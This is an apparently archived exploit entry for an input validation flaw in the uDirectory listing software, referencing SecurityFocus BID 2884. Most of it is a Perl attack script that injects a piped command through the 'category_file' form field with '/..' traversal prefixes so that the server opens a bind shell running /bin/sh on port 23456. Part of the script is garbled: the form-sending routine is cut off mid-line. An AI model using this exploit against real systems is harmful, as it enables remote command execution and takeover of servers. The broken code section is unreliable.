source: https://www.securityfocus.com/bid/2884/info uDirectory is an online directory and listing management system. An input validation error exists in uDirectory that may allow remote users to execute arbitrary commands on a host running the software. #!/usr/bin/perl -w # management, e-commerce ... blah... # exploit by Igor Dobrovitski noident@my-deja.com # This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded # Enjoy use Socket; $| = 1; #################################################################################################### $exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}'; #################################################################################################### unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pl\n"} ($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|; print "Engaging the enemy. Please stand by...\n"; foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl') { print "Trying $perl_path\n\n"; my $cmd = $perl_path . ' -e \'' . $exec_code . '\'|'; for(my $i=1;$i<=10;$i++) { print "try $i\n"; $cmd = '/..' . $cmd; $form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah', 'command' => 'add_new_listing' }); my @reply = &send($form); } } &oops_the_sploit_did_not_work(); sub makeform { my $string; my @blah; my $line = ''; my $here; my %data = %{$_[0]}; foreach my $key (keys %data) { $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB'; } $line =~ s|^(.*)BBBB$|$1|; $line =~ s/\\n/\n/g; $line =~ s/\\t/\t/g; $line =~ s/\\e/\e/g; $line =~ s/\\f/\f/g; $line =~ s/\\r/\r/g; $line =~ s/\\0/\0/g; foreach my $char (split //, $line) { if($char !~ m/[A-Za-z0-9._ ]/) { $char = unpack "H2", $char; $char = '%' . "$char"; } push @blah, $char; } $string = join "",@blah; $string =~ s/AAAA/=/g; $string =~ s/BBBB/&/g; $string =~ s/ /+/g; my $cont_len = length($string); $here = <; select(STDOUT); close(S); return @reply; } sub oops_the_sploit_did_not_work { print STDERR "The exploit didn't work on this host\nSorry...\n"; exit; }